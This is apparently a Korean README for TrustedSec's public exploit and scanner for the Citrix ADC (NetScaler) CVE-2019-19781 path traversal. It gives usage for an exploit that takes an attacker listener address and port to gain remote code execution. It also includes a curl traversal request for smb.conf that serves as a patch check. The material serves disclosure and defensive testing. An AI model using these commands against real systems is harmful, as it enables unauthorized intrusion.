
이것은 Citrix ADC(NetScaler) 취약점에 대해 공개된 도구입니다. 다른 사람들이 익스플로잇 코드를 먼저 공개했기 때문에 이를 공개합니다.
이 저장소는 다른 연구자들이 자신의 코드를 먼저 공개했기 때문에 업로드되었습니다. 우리는 방어자들이 시스템을 패치할 충분한 시간을 확보할 수 있도록 이 내용을 더 오랫동안 숨겨두고 싶었습니다.
우리는 책임 있는 공개를 지지하지만, 이 경우에는 이미 비밀이 드러난 상황이었습니다.
Exploits: CVE-2019-19781
root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781# python citrixmash.py
Citrixmash v0.1 - 디렉터리 경로 이동 버그(CVE-2019-19781)를 이용한 Citrix 익스플로잇 도구 작성자: Rob Simon, Dave Kennedy 기여자: TrustedSec 팀 웹사이트: https://www.trustedsec.com 정보: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ 포렌식 및 침해 지표: https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/
이 도구는 Citrix ADC(NetScaler)의 디렉터리 경로 이동 버그를 익스플로잇하여, 피해 시스템에 XML 형식의 파일을 추가하는 Perl 스크립트를 호출합니다. 이를 통해 원격 코드 실행이 가능해집니다.
다음 두 파일 위치를 정리해야 합니다: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/
victimaddress 및 attackerip_listener 필드에는 DNS 호스트명과 IP 주소를 모두 사용할 수 있습니다.
사용법:
python citrixmash.py <attackerip_listener> <attacker_port>
usage: citrixmash.py [-h] target targetport attackerip attackerport
서버가 여전히 CVE-2019-19781에 취약한지 확인하는 간단한 테스트입니다.
사용법: python3 cve-2019-19781.py
192.168.1.1/24와 같은 CIDR 표기법과 호스트명도 사용할 수 있습니다.
서버가 여전히 취약한지 여부를 결과로 보여줍니다. 한 번에 하나의 서버만 스캔할 수 있습니다.
CVE-2019-19781-Scanner 회사: TrustedSec 작성자: Dave Kennedy 이 도구는 원격 시스템이 여전히 CVE-2019-19781에 취약한지 확인합니다. 한 번에 하나의 호스트만 스캔합니다. 예: 192.168.1.1/24와 같은 CIDR 표기법도 사용 가능 IP 주소 대신 호스트명도 사용 가능 외부 도구로 생성된 IP 주소가 포함된 파일도 사용할 수 있습니다.
예시: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 예시2: python3 cve-2019-19781_scanner.py 192.168.1.1 443 예시3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443 예시4: python3 cve-2019-19781_scanner.py as15169 443 예시5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose 예시6: python3 cve-2019-19781_scanner.py file:hostfile 443
사용법: python3 cve-2019-19781_scanner.py targetip targetport
usage: cve-2019-19781_scanner.py [-h] target targetport [verbose]
이 취약점이 완화되었는지 테스트하려면 다음을 사용하십시오:
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is
또는 공개되지 않거나 내부 엔터프라이즈 CA를 사용하는 경우 --insecure 옵션을 사용하여 무시할 수 있습니다.
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure
403 오류가 반환되면 패치된 상태이며, Citrix 웹사이트가 반환되고 smb.conf 파일 자체가 반환되지 않으면 패치된 것입니다.
smb.conf 파일이 보이면 취약한 상태입니다.
요구 사항을 설치하려면 아래 명령을 실행해야 합니다.
pip3 install -r requirements.txt